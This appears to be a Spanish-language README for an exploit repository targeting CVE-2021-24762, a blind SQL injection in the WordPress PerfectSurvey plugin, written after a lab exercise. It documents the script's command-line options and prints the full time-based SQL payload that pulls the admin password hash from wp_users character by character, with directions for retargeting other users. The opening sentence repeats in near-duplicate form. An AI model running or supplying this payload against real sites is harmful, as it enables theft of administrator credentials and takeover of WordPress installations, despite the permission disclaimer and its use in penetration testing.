
Este repositorio muestra un exploit para CVE-2021-24762. Este es un exploit de Blind SQLi que, en la configuración predeterminada, greps la contraseña de administrador.
Este repositorio muestra un exploit para CVE-2021-24762. Es un exploit de Blind SQLi que, en la configuración predeterminada, obtiene la contraseña del administrador.
Mientras realizaba un laboratorio, basado en WordPress con el plugin PerfectSurvey, me topé con una vulnerabilidad SQL. Los únicos PoC disponibles que encontré estaban basados en sqlmap y no funcionaban correctamente en el laboratorio en el que estaba trabajando (Había muchas preguntas adicionales, por ejemplo, la aplicación devolvía 404, los tiempos de espera variaban demasiado y otros problemas). Así que creé esto para explotar el laboratorio.
____ _ ___ ____
/ ___| / \ |_ _| / ___|
| | / _ \ | | \___ \
| |___ / ___ \ | | __ ) |
\____|/_/ \_\ |___| |____/
CAIS - Inteligência em Cibersegurança
Exploit for: CVE-2021-24762
usage: exploit_cve-2021-24762.py [-h] [-u URL] [-p PATH] [-d DELAY] [-t TIMEOUT] [-c CHARSET] [-m MAX_LEN] [-v]
Safe CLI wrapper — receives url/path/delay/timeout/charset and forwards it
options:
-h, --help show this help message and exit
-u, --url URL Base URL (default: http://192.168.10.10)
-p, --path PATH path (default: /wp-admin/admin-ajax.php)
-d, --delay DELAY delay in seconds (default: 30)
-t, --timeout TIMEOUT
timeout in seconds (default: delay + 15)
-c, --charset CHARSET
charset to be used (default: alnum + ./$_-@)
-m, --max-len MAX_LEN
maximum length (default: 20)
-v, --verbose activates log debugging
El script de Python recibe los parámetros anteriores. En caso de que no se pasen, el script se ejecuta con sus valores predeterminados.
Idealmente, necesitarás pasar al menos la URL. Hazlo con -u o --url. Otros parámetros probablemente funcionarán con los valores predeterminados.
En la configuración predeterminada, obtendrá el hash de la contraseña del usuario admin. Esta configuración se aplica en la variable payload, en el valor de user_login:
payload = f"1 AND (SELECT COUNT(*) FROM (SELECT 1 WHERE ORD(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=0x61646d696e),{position},1))={ascii_code} AND SLEEP({delay})) AS a)"
En caso de que necesites encontrar el hash para otro usuario, cambia "0x61646d696e" (admin) según tus necesidades.
payload = f"1 AND (SELECT COUNT(*) FROM (SELECT 1 WHERE ORD(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=0x61646d696e),{position},1))={ascii_code} AND SLEEP({delay})) AS a)"Uso restringido — Este repositorio contiene contenido sensible destinado únicamente a un uso ético y responsable. Recuerda que debes tener permiso por escrito del propietario del sistema en el que estás realizando pruebas. Cualquier uso fuera de este alcance no está permitido y recaerá sobre ti (¿Quieres ir a la cárcel?).
exploit_cve-2021-24762 — Exploit.README.ME — Este archivo.2025-10-10 — c4cnm — Creación y modificaciones iniciales
GNU General Public License v3 (GPL)